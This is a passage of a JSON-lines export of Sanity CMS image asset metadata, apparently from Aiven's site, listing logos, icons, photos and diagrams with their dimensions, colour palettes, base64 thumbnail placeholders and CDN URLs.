ng"} {"_createdAt":"2022-06-17T08:37:23Z","_id":"image-768753ec7c9a0c3ee962e53becaf09cf03eb82a8-1242x946-png","_rev":"oamrAPLmQLQjd9jh7ZwCdu","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:23Z","assetId":"768753ec7c9a0c3ee962e53becaf09cf03eb82a8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V47d%rs:00WB9Fxut6M_bHWB00WA~qbH?bt7f6kCWVae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3128964059196617,"height":946,"width":1242},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAADBklEQVQokS3NSW/bRgBAYcKQLHJIzgyXGa7iLm4SRUoUSVVyAR/aBEja5CIrjuV4CdzWl+buKIWKNjqlP7pw0Xf/8BhTgZ4hZ4E1L+JlU66X9dmqOztbr1frrlvOFu1k1mRVk1RdXHWjsnHiMVY1lhdYwDOaJNgURY5WpEFd5W1ddM2sa5uu7dq2mzddWbfFvE2rhZ8VVhATyxGxzAJhAARGRUBXBNdQ0sgp8ricpOUkm4zHxbSsF03TdnXTVXWbTivT87FKRUnmRfQ/lkSWYGBRHHp2FkdZHCaRF4Z+lKRFNVs07eIZN0lRaENbQJiHkBchy4vPGPEDSWSpDN2hGYVB6LuubdiW4fhBNpnW9WLRNFW9iCdjahq8IAKeB4L435lnRK4PwamKxTDwqrKcTsZxFPq+N0rS+aJdn33/3XrVrVb1sguTmFKKEOJ5YcDxAw4wPNsHbF+V0Xq1/Pjx/peHh6v37y82m4vtu5u7+18fHz/c3l7f3Dw8/na5u3rx8mU+HiMsDThwyvEM4AaAGxCivPjxh/3+8z/fvh2Px8Ph8PT0+Wm///t4/ONw2H/58tfXr4c/D79/+nR+fk4I4QVBgJCBUEBYpJSUZfnq1evd7vru/v5qt3vz9u1PP7/ZbLfbd9vLy+31h+vbu5vNxWZWz3Vdo5SYps7IRCG6plu2E0RROs6n1bSq0ixzXddxhp7nRqGXJVExzWd1VdZVnKdu6HuBF0QeQx1P80IziO1R7sa5G44MyyaE6FQ1DWrqxNSJbZChrXv+MEpHSZEnRR7lSZBGDPFj6id6mJphanihqukQQknClkGHlmYZ1NBVgyoGlU1ddbxhlMVZOc7KSTzJGMmJFHdE3FA1h1CSWY7jWFbCSCOKImNJQqqCiYI1FWsqokS2HWuUxsVsWtYzBpkeNhykarwA+6envV6fZVkoigiKAHAAcBiJsgRVGVEFyVhUZGzZZpols/mMgdQSJJUDoNfrnZyc9PvPWOCfAxzHAw5BUcKihCGRoYIFKAIJI8sy4yT+F7AOhNuds+JVAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3435","foreground":"#fff","population":10.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c1c14","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2f3435","foreground":"#fff","population":10.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5b4a3","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a8c8c","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af6f4f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Company_Logos-Norauto.png","path":"images/sczeoy4w/production/768753ec7c9a0c3ee962e53becaf09cf03eb82a8-1242x946.png","sha1hash":"768753ec7c9a0c3ee962e53becaf09cf03eb82a8","size":493403,"uploadId":"2226rhIlI8lrgAyyHxBZZxyQtgZZxDTl","url":"https://cdn.sanity.io/images/sczeoy4w/production/768753ec7c9a0c3ee962e53becaf09cf03eb82a8-1242x946.png"} {"_createdAt":"2022-09-07T11:39:50Z","_id":"image-768c17ceae0ca0a57fc6d49e539167b8bc44850f-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRr9Pwn","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T07:43:08Z","altText":"Icon tools","assetId":"768c17ceae0ca0a57fc6d49e539167b8bc44850f","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADP0lEQVQ4jV2VzWtdVRTFf++ZtJaKoDQRox21EydBUi0VMykKGqTUjxYxmqbv7v3eC6ggUpw5qdZCFRqcKkIhftc0Sq2taf0ALQULdSQ600nBf2Iv2eeelwYH593LuXuts/ba6/BQnzEZu2Q8FsajMnaqx1bNgwagI6AeyNgWbd3jMg7LOCjjYTk71Oc2NSCn/OwK45iMr2R8LOPNBIVxpwx0lI4aJmTMyTgh4wsZ38tYl/GRjOfD2BEtVzk5wasyfg/jRxnXZCwX1V6+3xXGIRkrYVyUcUbG5zL+lPGXjOPRsFsNW2R0EzBblSXZp2HckHM2nGk1dMN4RMYHYXwn4w0Zz8o4GcavYZyVMZTxlIy9eXgS7qxtprIbMv6Rc0XOEzLuSUBVdlzGdPVvTUnmvCLn9SrkXRkzafjWavRyLbos55qc9+Q8LeO0jEtq254M4+UwrpaunLfkfBvGTRk/yDiAXoBoygDSs2k5T8pZDueSnE9q4XrZN+6ow0mLfpHzk4yfZfwRVt4PocVifLty9H1ul7OvKDSuy/i3gJw59RmXMSHnOTmn5bwv51QYF2R8mZ2ilypRS9rRsJBul3NAxsVoCdOjvWoYV48tJXvOjJyDck5EG6OM1O7MGZprM1RIB3TCmZIzCOOy2tMXZTwgY1+daNpyWM7bdfor1YptGy1Hkg3pyLlXzlE553KF04SzR86RmsH16tvV+vywDizDv0lZSzY1IouW0OQ8lM9wvpFxJduXF7KbYZyX8Yycu+V08qq2ygZ0a5u9kbJNZKlwPZy/5Zypvg3kXFCbhH7BDui2CtthTIazEM5qJUuSokztXubyNznn5bicPWlF/bYqZ0HO5OguJ/P+auxaVTlTAecq4LVc9cC1elBOuZHxdcXu1zDvspdsWTU4MzX7v9bT0/vCub/ur1V/8302MRXbxBLjI8IX1Ubks1qwVtUkaKoM7NbQcm+13udTFZOTn9cSYyXMYTwYxslNkVipvrRko5t0i3Shtpm1iXlHydGnM8rh9tyoStOX9HRiNLkSrVz9srrykrmsydr5FJQc0cuhvNoWR96QJca0xPgGUSWLxXZtZDafQ7pZWzB9OuVv4hj8BxaNt08EngAPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444c34","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c0504","foreground":"#fff","population":4.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f45b0a","foreground":"#fff","population":9.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#843614","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e16c38","foreground":"#fff","population":2.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac644c","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45b0a","foreground":"#fff","population":9.55,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7dcxEE","_type":"reference","_weak":true}]}},"originalFilename":"icon-tool.svg","path":"images/sczeoy4w/production/768c17ceae0ca0a57fc6d49e539167b8bc44850f-24x24.svg","sha1hash":"768c17ceae0ca0a57fc6d49e539167b8bc44850f","size":766,"title":null,"uploadId":"RCra791x03AuO9Aot9T8mfXEj8YRQ6fW","url":"https://cdn.sanity.io/images/sczeoy4w/production/768c17ceae0ca0a57fc6d49e539167b8bc44850f-24x24.svg"} {"_createdAt":"2024-04-10T11:45:40Z","_id":"image-769c4aeb5a08e800fc4b54da64f90df64238959c-1920x871-png","_rev":"sTC1jODyLrHPabSP0RPM4p","_type":"sanity.imageAsset","_updatedAt":"2024-04-10T11:45:40Z","assetId":"769c4aeb5a08e800fc4b54da64f90df64238959c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M06*dj%44TrD4o^,rx=_$i-;9j-T~B-;wH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.2043628013777266,"height":871,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABW0lEQVQokT2OWW7cMBAFdZY4MSbOaOHSK9ncxFHuf6NADjBA/Va9t2RkQgVKASSAsBqqBVQf5Rv9RiImlipaQ+RtDy4gUl6uGAU4gBwOXSBSo9Ihd9A3LZIFuBNASVMmpiOE9QgLO8ekJOajBFC1kcal7SVlik2xU62z2l33DCitFa26Yfy9ueXx3Hxk5OzivW+l9/NVxrT2sjrNullJ95pGEGJtzbilFeFrc8vHr8dz9y7w7gAAeyvXNeZrnOfrHPPs9WzWa6qmliUnKWakuvr4Z3XLj4/P5+aOQLsDBDyb/b3GPNvobbTbnC21IiWzJc6JkyZAXnf/lr2LvDsEoF5LHyOXynpfJRIiRmJAjsgAjCA+0LqH5+aWn5+P7Qg+8uEAkGvrZUyxhpwD6JuICdmQMkRxDtbd3/LXusEdluARUK0Mq1NzJylA+T/IJqmXdlmdSHq4sO7uubp/8Id15nPH3scAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36584f","foreground":"#fff","population":1.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#841d27","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#787272","foreground":"#fff","population":2.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9afa7","foreground":"#000","population":0.97,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc695e","foreground":"#fff","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#787272","foreground":"#fff","population":2.62,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c98336","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-community-discord.png","path":"images/sczeoy4w/production/769c4aeb5a08e800fc4b54da64f90df64238959c-1920x871.png","sha1hash":"769c4aeb5a08e800fc4b54da64f90df64238959c","size":295106,"uploadId":"4uNOQOQzTOdAlRRXXjX9ILTago1BKgDA","url":"https://cdn.sanity.io/images/sczeoy4w/production/769c4aeb5a08e800fc4b54da64f90df64238959c-1920x871.png"} {"_createdAt":"2023-07-25T06:57:05Z","_id":"image-76a37a4039c9f8b5a3ff40af11e00528087afb3c-477x477-jpg","_rev":"NeUDFQb3AItwK5kiup6Ptx","_type":"sanity.imageAsset","_updatedAt":"2023-07-25T06:57:05Z","assetId":"76a37a4039c9f8b5a3ff40af11e00528087afb3c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":477,"width":477},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAcEBQYI/8QAJRAAAQMEAQQCAwAAAAAAAAAAAQIDBAAFBhESByExURciI0Fh/8QAFgEBAQEAAAAAAAAAAAAAAAAABAIB/8QAGxEAAwEAAwEAAAAAAAAAAAAAAAECAxFB8DH/2gAMAwEAAhEDEQA/ALZ1MM1djbj2+YqEX3Qhx9PlCf3U9tGMysalxZlnyCTKeDqS804rklaCe/aqXmgDlsXyCVBH20rwa4CBk0NloL/G8Gk8nA0nXFI9mi71a0SQ3CIrNt/SzIPJIPsbpWls+T2e525iXFnxy04nY24AR/DSmATzj10yW7fJKbUiY4iA3w0yg6B3537rHyyU5BwAoi8Wg+sJcKR3I9bpSq4Tc+6NltKvdkbRIfQCEPOJG/CVEClKVRB//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#594234","foreground":"#fff","population":2.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c3417","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e6b89e","foreground":"#000","population":11.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3c0be","foreground":"#000","population":1.67,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6b89e","foreground":"#000","population":11.68,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b17f62","foreground":"#fff","population":3.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de8f67","foreground":"#000","population":0.06,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"dimitri-casvigny.jpg","path":"images/sczeoy4w/production/76a37a4039c9f8b5a3ff40af11e00528087afb3c-477x477.jpg","sha1hash":"76a37a4039c9f8b5a3ff40af11e00528087afb3c","size":37675,"uploadId":"MH26F6UKFZss0eife6YYt3o9LUVvfotJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/76a37a4039c9f8b5a3ff40af11e00528087afb3c-477x477.jpg"} {"_createdAt":"2022-09-15T11:52:34Z","_id":"image-76ae7bb004c977a24329f960f30f3cc615b80a2c-1600x1066-jpg","_rev":"oP937kX6v07bcvrIPItVZb","_type":"sanity.imageAsset","_updatedAt":"2022-09-15T11:52:34Z","assetId":"76ae7bb004c977a24329f960f30f3cc615b80a2c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VKK-Rb4o00~p-;00xuD*xuxuJCxZxuD%E1VsD*?GxuIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5009380863039399,"height":1066,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYIBAf/xAAiEAABAwMEAwEAAAAAAAAAAAABAgMEAAUSBiExURETQRb/xAAVAQEBAAAAAAAAAAAAAAAAAAABA//EABkRAAIDAQAAAAAAAAAAAAAAAAABESNhEv/aAAwDAQACEQMRAD8ASoVhnWG4W1yYxnBlOJ9byeCkmu6X/QUVGiLl+fSCuSzksZk5fdh8rZYNAQnIbJnyn5aDuhCwAls9p6psDaLXBZbZGbaiUFLh87VHlspKTI1VoDVDys2rW4UHgkgUVYdrhLcjqU4tg+VnEegDEdc0UWYNen//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f473e","foreground":"#fff","population":4.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#291f0a","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#978475","foreground":"#fff","population":5.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e4d3ce","foreground":"#000","population":0.79,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8e2d0","foreground":"#000","population":4.93,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#978475","foreground":"#fff","population":5.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d94044","foreground":"#fff","population":0.26,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"desk-men-working-with-aiven-cup.jpeg","path":"images/sczeoy4w/production/76ae7bb004c977a24329f960f30f3cc615b80a2c-1600x1066.jpg","sha1hash":"76ae7bb004c977a24329f960f30f3cc615b80a2c","size":84218,"uploadId":"Go6EDeVfuaq8UAdkJWZpLJXWUCMS7NOh","url":"https://cdn.sanity.io/images/sczeoy4w/production/76ae7bb004c977a24329f960f30f3cc615b80a2c-1600x1066.jpg"} {"_createdAt":"2024-06-26T20:10:28Z","_id":"image-76bb122d95e0cb37c2c56eb1d33c43f72482d310-1426x701-png","_rev":"FWfcFyz4v76XPZNTIGD87J","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T20:10:28Z","assetId":"76bb122d95e0cb37c2c56eb1d33c43f72482d310","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37nVG#3jP~9~7={s;R;xV$y00ITxS9a9c","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.034236804564907,"height":701,"width":1426},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAACToAAAk6AGCYwUcAAACf0lEQVQokS2SW28SCQCF+Qsmrr3oANOBud+YGYZyGQut3WjjuqY+GWM0xm022xulA4KUQqXWFluo4P/9DHUfTnKeTr6TcxL3lt/zIPUPaW2frHVExmyQUuosivsspA9YEOssZ2Mku4uS67Ni9Hgod1mWe6T0M1T/EqtwjRZcI1pXJB6JO0jKLprdQMvFyG6TFfMYQT5iSaqzJDVIap9QvFOM8IysOyCpnSKofTLOV9zymLA2xYumKMGYRGQes+W12Cy0cfwWsjvXJzJOm7TeQlBbdz5aj9naahCUukj2GaI9RA9HBGu3FDdm5Gs/scpTEn+XTnm71me72sPPt1BzTXS/jeZ3UbwTRKuLEcR8fPuBYeMNz58dkHW/oASX2OUbwtotpSczCus/cSozEn+9umH79S1/bl/hRV3ssI1T+IxV6GGEfZRggFXo8O7NLp39HZ4+jdHDC+zKGKcyJr82obz5O9CeE1ZfXLKxPWJ16xyr1MHO/x8YnmCEA4zCEKt4xvqzLzx/ec5q9StO5RqvNsWpTPAfT6hszghrM8zilISbi4ncGMeokzHq6F4TM2ijeh1k7wT5bowBYfUbpY0RfnSFXRrhRBPs8hg/GlN+MiNfnWGs/iBhaIcU1TpmZh9RPUT1Wuh+B9lts2K2Ec0Oqn9KrjwkiC5wS9/Q8xdo4RVW6eaOsLgxJVibE/4gkZJ3keQ90tk9ksoBab2BaMSk9RhBOUZQmr8/6PVR/fnvhmTcIZJzjhaOcCtjwuoU7/EUY175vvCB+8JH/kju8CD1Lwvp/1gU91gUD1gUD1mSjngoN3mkthG0zyS1EwS1R1IbILkXaPnvmKtjjMIENT/hF1a1deZ+jlHOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414787","foreground":"#fff","population":1.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":8.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":8.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8aac7","foreground":"#000","population":8.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8298d4","foreground":"#000","population":1.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a69a1","foreground":"#fff","population":2.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2784","foreground":"#fff","population":7.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"real-time analytics.PNG","path":"images/sczeoy4w/production/76bb122d95e0cb37c2c56eb1d33c43f72482d310-1426x701.png","sha1hash":"76bb122d95e0cb37c2c56eb1d33c43f72482d310","size":161055,"uploadId":"sFznmEEucSEfcScV34ZQ0WONES8jUSN4","url":"https://cdn.sanity.io/images/sczeoy4w/production/76bb122d95e0cb37c2c56eb1d33c43f72482d310-1426x701.png"} {"_createdAt":"2023-10-16T07:29:57Z","_id":"image-76fd50aa226e6df4b32105c7146f8c98401f9d23-1567x844-png","_rev":"oVKLF5tNtw07ELMy9kv3Qo","_type":"sanity.imageAsset","_updatedAt":"2023-10-16T07:29:57Z","assetId":"76fd50aa226e6df4b32105c7146f8c98401f9d23","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC84v3t1Mvt7RQ?dfhM{ogR*I9j]s:azoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACdklEQVQokSXR+U7aAACA8T6BnC096AUtFCbg3OXiwW1xIEcrPbiPgoJolHltkKBOTYg4QUlcNuazbnMP8OX3xweYrTJC51BbAXfUKK5Jci2K26Pdh7b5Y7vnjPH1ucUL5+tvdk+Pdndp1wHp2odpzYCoOssWQDrKvvftpbXD1ciZf723HO6vRAaB2FUoPowm76Kb9+upx8jm1B8bBTeuQrGLlciFa/EYIjUDWgCYV7XlUJdP9GPJ81jqciN9nZJGYm4sqA9S6Uku/ZRKMzE/S8nTtDwS1btk9uHd2o3V8Rmi9gCHpx7kTxOZQSw5+JS+TEtDqThWytOMMkkrU6X8K1d7lsvPYv5JUO+zhUep9DsUf2AXzjHnAOB8WpA/4Tf70Xg/IV6Jyq2gft/KT5LS+JMwFnI/pPJMLMxe4klGuRdyj3zq1v2mj7JfAJqrLH7sfFg9WPIf+dd7wdh5gL+MxG8i8eEaPwxs3IUTk3BiEkmMwvHrAD9YjfberhyRXBskdwETJsFUDrMVcbZKOZuUq0279xlPl/Ue2+dP7Z6vrG/ALgwY74nN3fm/A2OaIFEFiR1AB4l6i2hAsgZUNaJFo7Vqxhsg2YKoDki2IWrXQh/Ati5EtY1Y2YDmzUQTJFsma81krQMwkqGILMUWMaYC4mUjVjXhDZBogWTbhGtGrGLC6yCxY8YbBqSgR1SQ2AbJlhEr6WEFsBGCl1W8Cw3Ws43QNZCoQWTT8g/sgIRmxAomaxEkNDNe08OqHpZfzKoOlucgASBoxcbk7FyFctatjIax27hjl3Duk9wh7thD7Rpq1zCmDZF1PSzrLFkDktcj6pxl62/8B4+AtGxW9jqXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#362f5c","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":12.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":12.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959ac2","foreground":"#000","population":1.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dde4f3","foreground":"#000","population":8.39,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f95","foreground":"#fff","population":2.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba494c","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cdc-outbox-pattern.png","path":"images/sczeoy4w/production/76fd50aa226e6df4b32105c7146f8c98401f9d23-1567x844.png","sha1hash":"76fd50aa226e6df4b32105c7146f8c98401f9d23","size":163300,"uploadId":"Ot29ce5hXJbb95pQb7ccizLVo47KzTMm","url":"https://cdn.sanity.io/images/sczeoy4w/production/76fd50aa226e6df4b32105c7146f8c98401f9d23-1567x844.png"} {"_createdAt":"2024-02-19T15:25:25Z","_id":"image-77247051a84d463cd6ad7a2728bbbf2703e2a647-1793x627-svg","_rev":"AhQsd13Ciq0lSu1FlWuvQ9","_type":"sanity.imageAsset","_updatedAt":"2024-02-19T15:25:25Z","assetId":"77247051a84d463cd6ad7a2728bbbf2703e2a647","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8596491228070176,"height":627,"width":1793},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA9ElEQVQokXXRySoHYBQF8N+fzFMRNpLIgoWUUCRDZhtkDEUZs5ClpY08g5WUZMFKsfAAHkuXu5C4deo7X7fTOedCFU7wgG3U+J5iFPw9hR8o+r3XjCu8YQO1aEEXmlCeqEQF6tGRaEMn2lOnJATn0t0HLtCLaWxhAoMYwxTGMZNJdrCK9XzPojEEb/CCV9zjEJvY/7F8jDMcYA17yY/y7xy76AvBOzzjCY84xShG0J8Oh9NtOB1IHinmsYwVLKbLLze3eMd1itShOjsrQ2nyVnRnbz2YTJGobSHxtXCZcSNKwz+XjWvGsSJWiA2ls6WsJjpf/QS7eiPQT8rcEwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-aiven-eversql.svg","path":"images/sczeoy4w/production/77247051a84d463cd6ad7a2728bbbf2703e2a647-1793x627.svg","sha1hash":"77247051a84d463cd6ad7a2728bbbf2703e2a647","size":9321,"uploadId":"nso65SBHFqn6JD25bcmKweQkakpge5OL","url":"https://cdn.sanity.io/images/sczeoy4w/production/77247051a84d463cd6ad7a2728bbbf2703e2a647-1793x627.svg"} {"_createdAt":"2024-02-19T17:23:03Z","_id":"image-773df856b0d4a01e3af5ceda7565143a243b0c6d-2350x214-png","_rev":"ie5WJlLr1SLUBaBgCm42bE","_type":"sanity.imageAsset","_updatedAt":"2024-02-19T17:23:03Z","assetId":"773df856b0d4a01e3af5ceda7565143a243b0c6d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"42RMb%00~p~q~q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":10.981308411214954,"height":214,"width":2350},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAUElEQVQImT2LSwrAIBDFvP9Fdd58LIy2CgpFLQ1ZZJNAhJSICCe2IGIRzfly91JK/bhrvTdP733OGQCOMf3/lgFhXoqoqpllXdhpd2+tjTFekjFv1jqUC/sAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4b4d","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424142","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbbbc","foreground":"#000","population":3.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbbbc","foreground":"#000","population":3.62,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bdbcbd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a09fa0","foreground":"#000","population":2.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#807e80","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-tiered-terraform-logs.png","path":"images/sczeoy4w/production/773df856b0d4a01e3af5ceda7565143a243b0c6d-2350x214.png","sha1hash":"773df856b0d4a01e3af5ceda7565143a243b0c6d","size":38535,"uploadId":"10LMccAEI6tud4Rmc28bjzyz1FumRCK0","url":"https://cdn.sanity.io/images/sczeoy4w/production/773df856b0d4a01e3af5ceda7565143a243b0c6